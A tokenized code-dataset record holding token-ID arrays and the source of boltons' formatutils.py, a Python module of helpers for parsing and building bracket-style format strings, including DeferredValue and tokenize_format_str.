[ 3, 11308, 693, 446, 30808, 17206, 31500, 199, 3, 1898, 334, 35, 9, 10219, 13, 9300, 20732, 14, 9746, 73, 14, 1235, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 199, 3, 199, 3, 11308, 693, 295, 9847, 795, 428, 1510, 334, 1014, 921, 1548, 2655, 14, 9746, 73, 14, 1235, 9, 367, 20401, 2366, 1584, 14, 199, 199, 3, 24297, 770, 7016, 365, 9394, 687, 20732, 14, 1490, 2764, 2064, 14, 1308, 334, 3455, 2881, 9, 199, 199, 3, 21876, 83, 13663, 24, 199, 199, 504, 6170, 492, 1709, 199, 504, 1973, 14, 4471, 63, 6893, 492, 485, 84, 199, 199, 3, 2595, 48, 1193, 421, 199, 318, 4205, 837, 272, 2288, 6047, 12, 6047, 4131, 12, 3416, 2537, 272, 687, 14937, 492, 6047, 272, 687, 14937, 492, 6047, 4131, 272, 687, 1973, 492, 3416, 2537, 421, 199, 318, 519, 23175, 8, 1569, 12, 9362, 12, 6915, 29, 1400, 12, 5982, 29, 1960, 304, 272, 408, 16581, 282, 2457, 272, 446, 5982, 26, 378, 13, 17, 624, 272, 6915, 12257, 2948, 14, 16, 272, 519, 275, 1109, 1332, 8017, 627, 9362, 446, 413, 9, 627, 6915, 9, 272, 1834, 275, 3416, 2537, 14, 3916, 63, 3489, 63, 632, 8, 1569, 9, 272, 6915, 379, 275, 1834, 14, 1541, 8, 3491, 4131, 14, 19486, 4131, 8, 8017, 12, 519, 430, 272, 340, 5982, 665, 2948, 26, 267, 372, 3416, 2537, 14, 27163, 8, 1569, 12, 6915, 379, 12, 5982, 1182, 2948, 9, 272, 372, 6915, 379, 199, 199, 3, 2595, 5663, 693, 421, 199, 533, 10033, 8, 992, 14, 3310, 304, 272, 408, 624, 339, 1768, 275, 485, 84, 360, 19486, 358, 272, 4132, 275, 283, 933, 26455, 7, 272, 3031, 275, 283, 12325, 14, 9746, 73, 14, 1235, 32, 6799, 14, 957, 7, 272, 4205, 275, 12822, 8, 826, 9, 272, 299, 382, 275, 12822, 8, 11641, 75, 9, 272, 1015, 275, 283, 16, 14, 17, 7, 272, 3762, 275, 15500, 84, 360, 1541, 5440, 272, 636, 1301, 363, 275, 485, 84, 480, 29042, 314, 6915, 1133, 72, 7148, 574, 531, 339, 347, 3217, 8, 277, 12, 1504, 304, 267, 1504, 13040, 84, 360, 19800, 5440, 275, 291, 14, 19486, 2320, 792, 8, 277, 14, 50, 15874, 63, 2684, 58, 654, 59, 16, 566, 267, 1504, 13040, 84, 360, 19486, 5440, 275, 291, 14, 21074, 792, 8, 1400, 12, 378, 12, 2948, 9, 267, 1504, 13040, 84, 360, 18785, 5440, 275, 291, 14, 21074, 792, 8, 1960, 12, 413, 12, 2948, 9, 339, 7016, 275, 971, 199, 7, 88, 60, 11078, 60, 88, 614, 86, 60, 88, 16, 67, 60, 88, 1407, 60, 1949, 19, 60, 88, 1407, 24454, 60, 82, 60, 78, 60, 88, 17, 65, 60, 78, 60, 88, 383, 60, 88, 383, 60, 88, 383, 60, 82, 19824, 4564, 60, 88, 383, 60, 88, 383, 60, 88, 1493, 60, 88, 383, 60, 199, 60, 88, 383, 60, 88, 1493, 60, 88, 2036, 60, 88, 1690, 60, 88, 383, 60, 88, 383, 60, 88, 383, 55, 60, 88, 996, 60, 1949, 25, 60, 88, 1555, 60, 88, 383, 60, 88, 383, 60, 88, 383, 60, 88, 966, 83, 11970, 60, 88, 2036, 60, 88, 2036, 60, 88, 2036, 60, 199, 60, 88, 2036, 6113, 88, 2036, 68, 60, 88, 1299, 60, 88, 383, 60, 88, 383, 60, 88, 16, 67, 13, 998, 619, 72, 60, 88, 2835, 60, 7887, 60, 88, 1020, 75, 60, 88, 24, 67, 7272, 2207, 23, 53, 60, 1812, 23, 60, 88, 23, 70, 60, 10272, 31873, 11127, 60, 1774, 25, 60, 199, 19, 60, 1949, 2194, 67, 60, 88, 24, 70, 60, 7887, 60, 1774, 17, 60, 88, 25, 68, 60, 2207, 24, 46, 60, 9542, 60, 88, 30292, 60, 88, 1349, 60, 2207, 24, 21942, 60, 1845, 18, 60, 1800, 24, 81, 60, 2207, 20, 60, 1800, 20, 60, 88, 2534, 60, 88, 2036, 60, 88, 24, 70, 60, 199, 50, 60, 2207, 17, 5830, 34, 22109, 60, 88, 1046, 60, 10117, 34, 60, 2207, 21, 60, 10117, 60, 1774, 20, 48, 60, 1800, 25, 60, 88, 996, 60, 84, 36, 1, 34, 60, 88, 1299, 60, 88, 1555, 60, 1845, 16, 60, 88, 16, 66, 60, 88, 996, 60, 84, 49, 60, 1774, 21, 60, 88, 996, 60, 199, 49, 60, 1812, 20, 60, 88, 1196, 60, 10117, 60, 88, 2710, 60, 88, 1184, 60, 88, 16, 70, 60, 88, 1046, 60, 88, 713, 60, 1800, 25, 60, 1812, 16, 60, 88, 1349, 31873, 88, 25, 67, 60, 88, 2942, 60, 1774, 23, 60, 88, 969, 60, 9932, 94, 69, 60, 9542, 60, 1949, 17, 60, 199, 60, 10323, 60, 11127, 60, 10550, 60, 1812, 1965, 71, 60, 9566, 60, 88, 975, 60, 88, 17, 70, 60, 10489, 60, 1774, 25, 87, 60, 11127, 44, 60, 1812, 22, 60, 88, 17, 69, 3779, 82, 60, 88, 2036, 60, 88, 1407, 76, 60, 1845, 25, 31, 75, 60, 88, 25, 70, 12911, 199, 60, 10489, 60, 9542, 60, 11208, 60, 3581, 60, 10850, 60, 1774, 21, 60, 10493, 60, 11078, 60, 88, 24, 70, 60, 88, 1644, 60, 9532, 60, 88, 2720, 60, 1949, 23, 60, 10768, 60, 3581, 60, 9532, 60, 1800, 18, 60, 10745, 60, 10879, 60, 199, 60, 1812, 22, 60, 10656, 60, 1949, 21, 60, 88, 1780, 60, 1774 ]
[ 11308, 693, 446, 30808, 17206, 31500, 199, 3, 1898, 334, 35, 9, 10219, 13, 9300, 20732, 14, 9746, 73, 14, 1235, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 199, 3, 199, 3, 11308, 693, 295, 9847, 795, 428, 1510, 334, 1014, 921, 1548, 2655, 14, 9746, 73, 14, 1235, 9, 367, 20401, 2366, 1584, 14, 199, 199, 3, 24297, 770, 7016, 365, 9394, 687, 20732, 14, 1490, 2764, 2064, 14, 1308, 334, 3455, 2881, 9, 199, 199, 3, 21876, 83, 13663, 24, 199, 199, 504, 6170, 492, 1709, 199, 504, 1973, 14, 4471, 63, 6893, 492, 485, 84, 199, 199, 3, 2595, 48, 1193, 421, 199, 318, 4205, 837, 272, 2288, 6047, 12, 6047, 4131, 12, 3416, 2537, 272, 687, 14937, 492, 6047, 272, 687, 14937, 492, 6047, 4131, 272, 687, 1973, 492, 3416, 2537, 421, 199, 318, 519, 23175, 8, 1569, 12, 9362, 12, 6915, 29, 1400, 12, 5982, 29, 1960, 304, 272, 408, 16581, 282, 2457, 272, 446, 5982, 26, 378, 13, 17, 624, 272, 6915, 12257, 2948, 14, 16, 272, 519, 275, 1109, 1332, 8017, 627, 9362, 446, 413, 9, 627, 6915, 9, 272, 1834, 275, 3416, 2537, 14, 3916, 63, 3489, 63, 632, 8, 1569, 9, 272, 6915, 379, 275, 1834, 14, 1541, 8, 3491, 4131, 14, 19486, 4131, 8, 8017, 12, 519, 430, 272, 340, 5982, 665, 2948, 26, 267, 372, 3416, 2537, 14, 27163, 8, 1569, 12, 6915, 379, 12, 5982, 1182, 2948, 9, 272, 372, 6915, 379, 199, 199, 3, 2595, 5663, 693, 421, 199, 533, 10033, 8, 992, 14, 3310, 304, 272, 408, 624, 339, 1768, 275, 485, 84, 360, 19486, 358, 272, 4132, 275, 283, 933, 26455, 7, 272, 3031, 275, 283, 12325, 14, 9746, 73, 14, 1235, 32, 6799, 14, 957, 7, 272, 4205, 275, 12822, 8, 826, 9, 272, 299, 382, 275, 12822, 8, 11641, 75, 9, 272, 1015, 275, 283, 16, 14, 17, 7, 272, 3762, 275, 15500, 84, 360, 1541, 5440, 272, 636, 1301, 363, 275, 485, 84, 480, 29042, 314, 6915, 1133, 72, 7148, 574, 531, 339, 347, 3217, 8, 277, 12, 1504, 304, 267, 1504, 13040, 84, 360, 19800, 5440, 275, 291, 14, 19486, 2320, 792, 8, 277, 14, 50, 15874, 63, 2684, 58, 654, 59, 16, 566, 267, 1504, 13040, 84, 360, 19486, 5440, 275, 291, 14, 21074, 792, 8, 1400, 12, 378, 12, 2948, 9, 267, 1504, 13040, 84, 360, 18785, 5440, 275, 291, 14, 21074, 792, 8, 1960, 12, 413, 12, 2948, 9, 339, 7016, 275, 971, 199, 7, 88, 60, 11078, 60, 88, 614, 86, 60, 88, 16, 67, 60, 88, 1407, 60, 1949, 19, 60, 88, 1407, 24454, 60, 82, 60, 78, 60, 88, 17, 65, 60, 78, 60, 88, 383, 60, 88, 383, 60, 88, 383, 60, 82, 19824, 4564, 60, 88, 383, 60, 88, 383, 60, 88, 1493, 60, 88, 383, 60, 199, 60, 88, 383, 60, 88, 1493, 60, 88, 2036, 60, 88, 1690, 60, 88, 383, 60, 88, 383, 60, 88, 383, 55, 60, 88, 996, 60, 1949, 25, 60, 88, 1555, 60, 88, 383, 60, 88, 383, 60, 88, 383, 60, 88, 966, 83, 11970, 60, 88, 2036, 60, 88, 2036, 60, 88, 2036, 60, 199, 60, 88, 2036, 6113, 88, 2036, 68, 60, 88, 1299, 60, 88, 383, 60, 88, 383, 60, 88, 16, 67, 13, 998, 619, 72, 60, 88, 2835, 60, 7887, 60, 88, 1020, 75, 60, 88, 24, 67, 7272, 2207, 23, 53, 60, 1812, 23, 60, 88, 23, 70, 60, 10272, 31873, 11127, 60, 1774, 25, 60, 199, 19, 60, 1949, 2194, 67, 60, 88, 24, 70, 60, 7887, 60, 1774, 17, 60, 88, 25, 68, 60, 2207, 24, 46, 60, 9542, 60, 88, 30292, 60, 88, 1349, 60, 2207, 24, 21942, 60, 1845, 18, 60, 1800, 24, 81, 60, 2207, 20, 60, 1800, 20, 60, 88, 2534, 60, 88, 2036, 60, 88, 24, 70, 60, 199, 50, 60, 2207, 17, 5830, 34, 22109, 60, 88, 1046, 60, 10117, 34, 60, 2207, 21, 60, 10117, 60, 1774, 20, 48, 60, 1800, 25, 60, 88, 996, 60, 84, 36, 1, 34, 60, 88, 1299, 60, 88, 1555, 60, 1845, 16, 60, 88, 16, 66, 60, 88, 996, 60, 84, 49, 60, 1774, 21, 60, 88, 996, 60, 199, 49, 60, 1812, 20, 60, 88, 1196, 60, 10117, 60, 88, 2710, 60, 88, 1184, 60, 88, 16, 70, 60, 88, 1046, 60, 88, 713, 60, 1800, 25, 60, 1812, 16, 60, 88, 1349, 31873, 88, 25, 67, 60, 88, 2942, 60, 1774, 23, 60, 88, 969, 60, 9932, 94, 69, 60, 9542, 60, 1949, 17, 60, 199, 60, 10323, 60, 11127, 60, 10550, 60, 1812, 1965, 71, 60, 9566, 60, 88, 975, 60, 88, 17, 70, 60, 10489, 60, 1774, 25, 87, 60, 11127, 44, 60, 1812, 22, 60, 88, 17, 69, 3779, 82, 60, 88, 2036, 60, 88, 1407, 76, 60, 1845, 25, 31, 75, 60, 88, 25, 70, 12911, 199, 60, 10489, 60, 9542, 60, 11208, 60, 3581, 60, 10850, 60, 1774, 21, 60, 10493, 60, 11078, 60, 88, 24, 70, 60, 88, 1644, 60, 9532, 60, 88, 2720, 60, 1949, 23, 60, 10768, 60, 3581, 60, 9532, 60, 1800, 18, 60, 10745, 60, 10879, 60, 199, 60, 1812, 22, 60, 10656, 60, 1949, 21, 60, 88, 1780, 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1, 1, 1, 1, 1 ]
neuropil/boltons
boltons/formatutils.py
6
11243
# -*- coding: utf-8 -*- """`PEP 3101`_ introduced the :meth:`str.format` method, and what would later be called "new-style" string formatting. For the sake of explicit correctness, it is probably best to refer to Python's dual string formatting capabilities as *bracket-style* and *percent-style*. There is overlap, but one does not replace the other. * Bracket-style is more pluggable, slower, and uses a method. * Percent-style is simpler, faster, and uses an operator. Bracket-style formatting brought with it a much more powerful toolbox, but it was far from a full one. :meth:`str.format` uses `more powerful syntax`_, but `the tools and idioms`_ for working with that syntax are not well-developed nor well-advertised. ``formatutils`` adds several functions for working with bracket-style format strings: * :class:`DeferredValue`: Defer fetching or calculating a value until format time. * :func:`get_format_args`: Parse the positional and keyword arguments out of a format string. * :func:`tokenize_format_str`: Tokenize a format string into literals and :class:`BaseFormatField` objects. * :func:`construct_format_field_str`: Assists in progammatic construction of format strings. * :func:`infer_positional_format_args`: Converts anonymous references in 2.7+ format strings to explicit positional arguments suitable for usage with Python 2.6. .. _more powerful syntax: https://docs.python.org/2/library/string.html#format-string-syntax .. _the tools and idioms: https://docs.python.org/2/library/string.html#string-formatting .. _PEP 3101: https://www.python.org/dev/peps/pep-3101/ """ # TODO: also include percent-formatting utils? # TODO: include lithoxyl.formatters.Formatter (or some adaptation)? from __future__ import print_function import re from string import Formatter __all__ = ['DeferredValue', 'get_format_args', 'tokenize_format_str', 'construct_format_field_str', 'infer_positional_format_args', 'BaseFormatField'] _pos_farg_re = re.compile('({{)|' # escaped open-brace '(}})|' # escaped close-brace '({[:!.\[}])') # anon positional format arg def construct_format_field_str(fname, fspec, conv): """ Constructs a format field string from the field name, spec, and conversion character (``fname``, ``fspec``, ``conv``). See Python String Formatting for more info. """ if fname is None: return '' ret = '{' + fname if conv: ret += '!' + conv if fspec: ret += ':' + fspec ret += '}' return ret def split_format_str(fstr): """Does very basic spliting of a format string, returns a list of strings. For full tokenization, see :func:`tokenize_format_str`. """ ret = [] for lit, fname, fspec, conv in Formatter().parse(fstr): if fname is None: ret.append((lit, None)) continue field_str = construct_format_field_str(fname, fspec, conv) ret.append((lit, field_str)) return ret def infer_positional_format_args(fstr): """Takes format strings with anonymous positional arguments, (e.g., "{}" and {:d}), and converts them into numbered ones for explicitness and compatibility with 2.6. Returns a string with the inferred positional arguments. """ # TODO: memoize ret, max_anon = '', 0 # look for {: or {! or {. or {[ or {} start, end, prev_end = 0, 0, 0 for match in _pos_farg_re.finditer(fstr): start, end, group = match.start(), match.end(), match.group() if prev_end < start: ret += fstr[prev_end:start] prev_end = end if group == '{{' or group == '}}': ret += group continue ret += '{%s%s' % (max_anon, group[1:]) max_anon += 1 ret += fstr[prev_end:] return ret # This approach is hardly exhaustive but it works for most builtins _INTCHARS = 'bcdoxXn' _FLOATCHARS = 'eEfFgGn%' _TYPE_MAP = dict([(x, int) for x in _INTCHARS] + [(x, float) for x in _FLOATCHARS]) _TYPE_MAP['s'] = str def get_format_args(fstr): """ Turn a format string into two lists of arguments referenced by the format string. One is positional arguments, and the other is named arguments. Each element of the list includes the name and the nominal type of the field. # >>> get_format_args("{noun} is {1:d} years old{punct}") # ([(1, <type 'int'>)], [('noun', <type 'str'>), ('punct', <type 'str'>)]) # XXX: Py3k >>> get_format_args("{noun} is {1:d} years old{punct}") == \ ([(1, int)], [('noun', str), ('punct', str)]) True """ # TODO: memoize formatter = Formatter() fargs, fkwargs, _dedup = [], [], set() def _add_arg(argname, type_char='s'): if argname not in _dedup: _dedup.add(argname) argtype = _TYPE_MAP.get(type_char, str) # TODO: unicode try: fargs.append((int(argname), argtype)) except ValueError: fkwargs.append((argname, argtype)) for lit, fname, fspec, conv in formatter.parse(fstr): if fname is not None: type_char = fspec[-1:] fname_list = re.split('[.[]', fname) if len(fname_list) > 1: raise ValueError('encountered compound format arg: %r' % fname) try: base_fname = fname_list[0] assert base_fname except (IndexError, AssertionError): raise ValueError('encountered anonymous positional argument') _add_arg(fname, type_char) for sublit, subfname, _, _ in formatter.parse(fspec): # TODO: positional and anon args not allowed here. if subfname is not None: _add_arg(subfname) return fargs, fkwargs def tokenize_format_str(fstr, resolve_pos=True): """Takes a format string, turns it into a list of alternating string literals and :class:`BaseFormatField` tokens. By default, also infers anonymous positional references into explict, numbered positional references. To disable this behavior set *resolve_pos* to ``False``. """ ret = [] if resolve_pos: fstr = infer_positional_format_args(fstr) formatter = Formatter() for lit, fname, fspec, conv in formatter.parse(fstr): if lit: ret.append(lit) if fname is None: continue ret.append(BaseFormatField(fname, fspec, conv)) return ret class BaseFormatField(object): """A class representing a reference to an argument inside of a bracket-style format string. For instance, in ``"{greeting}, world!"``, there is a field named "greeting". These fields can have many options applied to them. See the Python docs on `Format String Syntax`_ for the full details. .. _Format String Syntax: https://docs.python.org/2/library/string.html#string-formatting """ def __init__(self, fname, fspec='', conv=None): self.set_fname(fname) self.set_fspec(fspec) self.set_conv(conv) def set_fname(self, fname): "Set the field name." path_list = re.split('[.[]', fname) # TODO self.base_name = path_list[0] self.fname = fname self.subpath = path_list[1:] self.is_positional = not self.base_name or self.base_name.isdigit() def set_fspec(self, fspec): "Set the field spec." fspec = fspec or '' subfields = [] for sublit, subfname, _, _ in Formatter().parse(fspec): if subfname is not None: subfields.append(subfname) self.subfields = subfields self.fspec = fspec self.type_char = fspec[-1:] self.type_func = _TYPE_MAP.get(self.type_char, str) def set_conv(self, conv): """There are only two built-in converters: ``s`` and ``r``. They are somewhat rare and appearlike ``"{ref!r}"``.""" # TODO self.conv = conv self.conv_func = None # TODO @property def fstr(self): "The current state of the field in string format." return construct_format_field_str(self.fname, self.fspec, self.conv) def __repr__(self): cn = self.__class__.__name__ args = [self.fname] if self.conv is not None: args.extend([self.fspec, self.conv]) elif self.fspec != '': args.append(self.fspec) args_repr = ', '.join([repr(a) for a in args]) return '%s(%s)' % (cn, args_repr) def __str__(self): return self.fstr _UNSET = object() class DeferredValue(object): """:class:`DeferredValue` is a wrapper type, used to defer computing values which would otherwise be expensive to stringify and format. This is most valuable in areas like logging, where one would not want to waste time formatting a value for a log message which will subsequently be filtered because the message's log level was DEBUG and the logger was set to only emit CRITICAL messages. The :class:``DeferredValue`` is initialized with a callable that takes no arguments and returns the value, which can be of any type. By default DeferredValue only calls that callable once, and future references will get a cached value. This behavior can be disabled by setting *cache_value* to ``False``. Args: func (function): A callable that takes no arguments and computes the value being represented. cache_value (bool): Whether subsequent usages will call *func* again. Defaults to ``True``. >>> import sys >>> dv = DeferredValue(lambda: len(sys._current_frames())) >>> output = "works great in all {0} threads!".format(dv) PROTIP: To keep lines shorter, use: ``from formatutils import DeferredValue as DV`` """ def __init__(self, func, cache_value=True): self.func = func self.cache_value = True self._value = _UNSET def get_value(self): """Computes, optionally caches, and returns the value of the *func*. If ``get_value()`` has been called before, a cached value may be returned depending on the *cache_value* option passed to the constructor. """ if self._value is _UNSET or not self.cache_value: value = self.func() if self.cache_value: self._value = value return value def __int__(self): return int(self.get_value()) def __float__(self): return float(self.get_value()) def __str__(self): return str(self.get_value()) def __unicode__(self): return unicode(self.get_value()) def __repr__(self): return repr(self.get_value()) def __format__(self, fmt): value = self.get_value() pt = fmt[-1:] # presentation type type_conv = _TYPE_MAP.get(pt, str) try: return value.__format__(fmt) except (ValueError, TypeError): # TODO: this may be overkill return type_conv(value).__format__(fmt) # end formatutils.py
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 64, 25633, 650, 4893, 18417, 21399, 314, 520, 5247, 1705, 495, 14, 908, 64, 1083, 12, 436, 4052, 199, 2027, 854, 2945, 506, 2797, 298, 1222, 13, 2487, 2, 1059, 10803, 14, 2104, 314, 308, 1728, 402, 199, 10306, 29102, 12, 652, 365, 8646, 5526, 370, 10618, 370, 2018, 1159, 21164, 199, 875, 10803, 14918, 465, 627, 14594, 13, 2487, 10, 436, 199, 10, 7045, 13, 2487, 4856, 6006, 365, 15145, 12, 1325, 1373, 1630, 440, 3350, 314, 199, 1848, 14, 819, 627, 32377, 2284, 13, 2487, 365, 1655, 14202, 16725, 12, 26200, 12, 436, 4440, 282, 1083, 14, 523, 627, 3492, 2946, 13, 2487, 365, 28293, 12, 12930, 12, 436, 4440, 376, 4182, 14, 199, 199, 29418, 13, 2487, 10803, 330, 7930, 913, 543, 652, 282, 8298, 1655, 7074, 1893, 4744, 1977, 12, 199, 7911, 652, 1990, 12474, 687, 282, 2615, 1373, 14, 520, 5247, 1705, 495, 14, 908, 64, 4440, 658, 6878, 7074, 1893, 199, 7093, 64, 3131, 1325, 658, 1589, 7249, 436, 284, 328, 22491, 18417, 367, 6449, 543, 199, 9099, 6302, 787, 440, 5521, 13, 271, 27813, 6590, 5521, 13, 24576, 939, 14, 199, 199, 1040, 908, 1208, 1040, 9584, 9978, 3423, 367, 6449, 543, 14540, 13, 2487, 199, 908, 3326, 26, 819, 627, 520, 533, 1705, 9937, 1110, 8340, 1487, 2412, 21239, 503, 26079, 282, 574, 272, 5133, 1475, 900, 14, 523, 627, 520, 1532, 1705, 362, 63, 908, 63, 589, 8340, 6077, 314, 11333, 436, 4252, 272, 2368, 734, 402, 282, 1475, 1059, 14, 523, 627, 520, 1532, 1705, 15246, 63, 908, 63, 495, 8340, 8767, 794, 282, 1475, 1059, 1901, 272, 18041, 436, 520, 533, 1705, 1563, 3484, 792, 64, 2251, 14, 523, 627, 520, 1532, 1705, 8514, 63, 908, 63, 698, 63, 495, 8340, 3709, 338, 10329, 315, 13205, 455, 3889, 272, 14538, 402, 1475, 3326, 14, 523, 627, 520, 1532, 1705, 14578, 63, 17867, 63, 908, 63, 589, 8340, 19107, 16535, 272, 6941, 315, 499, 14, 23, 11, 1475, 3326, 370, 5027, 11333, 2368, 272, 11233, 367, 4503, 543, 2018, 499, 14, 22, 14, 199, 199, 703, 485, 6878, 7074, 1893, 6302, 26, 4178, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 875, 14, 1360, 3, 908, 13, 875, 13, 7093, 199, 703, 485, 1589, 7249, 436, 284, 328, 22491, 26, 4178, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 875, 14, 1360, 3, 875, 13, 20034, 199, 703, 485, 25633, 650, 4893, 26, 4178, 921, 1544, 14, 1548, 14, 1308, 15, 2374, 15, 321, 1190, 15, 12636, 13, 2192, 614, 15, 199, 624, 199, 3, 3254, 26, 2597, 2387, 8878, 13, 20034, 3778, 31, 199, 3, 3254, 26, 2387, 1212, 273, 79, 1702, 76, 14, 24270, 14, 7772, 334, 269, 2005, 19520, 425, 5547, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 295, 199, 504, 1059, 492, 31084, 421, 199, 363, 452, 363, 275, 788, 9937, 1110, 297, 283, 362, 63, 908, 63, 589, 297, 283, 15246, 63, 908, 63, 495, 297, 1779, 283, 8514, 63, 908, 63, 698, 63, 495, 297, 283, 14578, 63, 17867, 63, 908, 63, 589, 297, 1779, 283, 1563, 3484, 792, 418, 421, 199, 63, 1712, 63, 70, 1273, 63, 264, 275, 295, 14, 2014, 360, 2561, 91, 9, 5227, 260, 327, 11077, 1551, 13, 22359, 2079, 8189, 19575, 5227, 260, 327, 11077, 4002, 13, 22359, 2079, 283, 2561, 1491, 1, 3134, 59, 29810, 358, 221, 327, 24757, 11333, 1475, 1680, 421, 199, 318, 6982, 63, 908, 63, 698, 63, 495, 8, 5252, 12, 289, 1650, 12, 8260, 304, 272, 408, 272, 9215, 83, 282, 1475, 901, 1059, 687, 314, 901, 536, 12, 3158, 12, 436, 272, 8603, 4528, 15693, 5252, 4542, 1124, 70, 1650, 4542, 1124, 5598, 20008, 1666, 2018, 272, 2624, 9701, 1337, 367, 1655, 2256, 14, 272, 408, 272, 340, 6748, 365, 488, 26, 267, 372, 2125, 272, 2203, 275, 26109, 435, 6748, 272, 340, 8260, 26, 267, 2203, 847, 29376, 435, 8260, 272, 340, 289, 1650, 26, 267, 2203, 847, 10871, 435, 289, 1650, 272, 2203, 847, 23618, 272, 372, 2203, 421, 199, 318, 3715, 63, 908, 63, 495, 8, 70, 495, 304, 272, 408, 6586, 7437, 5678, 3715, 316, 402, 282, 1475, 1059, 12, 2529, 282, 769, 402, 272, 3326, 14, 2104, 2615, 1526, 2072, 12, 1937, 520, 1532, 1705, 15246, 63, 908, 63, 495, 2313, 339, 408, 272, 2203, 275, 942, 339, 367, 28649, 12, 6748, 12, 289, 1650, 12, 8260, 315, 31084, 1252, 1122, 8, 70, 495, 304, 267, 340, 6748, 365, 488, 26, 288, 2203, 14, 740, 1332, 1051, 12, 488, 430, 288, 1980, 267, 901, 63, 495, 275, 6982, 63, 908, 63, 698, 63, 495, 8, 5252, 12, 289, 1650, 12, 8260, 9, 267, 2203, 14, 740, 1332, 1051, 12, 901, 63, 495, 430, 272, 372, 2203, 421, 199, 318, 18538, 63, 17867, 63, 908, 63, 589, 8, 70, 495, 304, 272, 408, 32488, 1475, 3326, 543, 16535, 11333, 2368, 12, 334, 69, 14, 71, 2020, 272, 28168, 436, 19850, 68, 8688, 436, 15373, 3062, 1901, 1967, 18897, 7869, 367, 5027, 4171, 436, 272, 7163, 543, 499, 14, 22, 14, 339, 1803, 282, 1059, 543, 314, 22515, 11333, 2368, 14, 272, 408, 272, 327, 3254, 26, 11955, 794, 272, 2203, 12, 1390, 63, 21009, 275, 3260, 378, 272, 327, 3648, 367, 19850, 503, 18776, 503, 469, 14, 503, 469, 59, 503, 1052, 272, 1343, 12, 1284, 12, 5071, 63, 500, 275, 378, 12, 378, 12, 378, 272, 367, 1336, 315, 485, 1712, 63, 70, 1273, 63, 264, 14, 19373, 8, 70, 495, 304, 267, 1343, 12, 1284, 12, 1572, 275, 1336, 14, 928, 1062, 1336, 14, 500, 1062, 1336, 14, 923, 342, 267, 340, 5071, 63, 500, 665, 1343, 26, 288, 2203, 847, 289, 495, 59, 5701, 63, 500, 26, 928, 61, 267, 5071, 63, 500, 275, 1284, 267, 340, 1572, 508, 5041, 1445, 503, 1572, 508, 283, 4863, 356, 288, 2203, 847, 1572, 288, 1980, 267, 2203, 847, 12100, 83, 5, 83, 7, 450, 334, 988, 63, 21009, 12, 1572, 59, 17, 5728, 267, 1390, 63, 21009, 847 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 64, 25633, 650, 4893, 18417, 21399, 314, 520, 5247, 1705, 495, 14, 908, 64, 1083, 12, 436, 4052, 199, 2027, 854, 2945, 506, 2797, 298, 1222, 13, 2487, 2, 1059, 10803, 14, 2104, 314, 308, 1728, 402, 199, 10306, 29102, 12, 652, 365, 8646, 5526, 370, 10618, 370, 2018, 1159, 21164, 199, 875, 10803, 14918, 465, 627, 14594, 13, 2487, 10, 436, 199, 10, 7045, 13, 2487, 4856, 6006, 365, 15145, 12, 1325, 1373, 1630, 440, 3350, 314, 199, 1848, 14, 819, 627, 32377, 2284, 13, 2487, 365, 1655, 14202, 16725, 12, 26200, 12, 436, 4440, 282, 1083, 14, 523, 627, 3492, 2946, 13, 2487, 365, 28293, 12, 12930, 12, 436, 4440, 376, 4182, 14, 199, 199, 29418, 13, 2487, 10803, 330, 7930, 913, 543, 652, 282, 8298, 1655, 7074, 1893, 4744, 1977, 12, 199, 7911, 652, 1990, 12474, 687, 282, 2615, 1373, 14, 520, 5247, 1705, 495, 14, 908, 64, 4440, 658, 6878, 7074, 1893, 199, 7093, 64, 3131, 1325, 658, 1589, 7249, 436, 284, 328, 22491, 18417, 367, 6449, 543, 199, 9099, 6302, 787, 440, 5521, 13, 271, 27813, 6590, 5521, 13, 24576, 939, 14, 199, 199, 1040, 908, 1208, 1040, 9584, 9978, 3423, 367, 6449, 543, 14540, 13, 2487, 199, 908, 3326, 26, 819, 627, 520, 533, 1705, 9937, 1110, 8340, 1487, 2412, 21239, 503, 26079, 282, 574, 272, 5133, 1475, 900, 14, 523, 627, 520, 1532, 1705, 362, 63, 908, 63, 589, 8340, 6077, 314, 11333, 436, 4252, 272, 2368, 734, 402, 282, 1475, 1059, 14, 523, 627, 520, 1532, 1705, 15246, 63, 908, 63, 495, 8340, 8767, 794, 282, 1475, 1059, 1901, 272, 18041, 436, 520, 533, 1705, 1563, 3484, 792, 64, 2251, 14, 523, 627, 520, 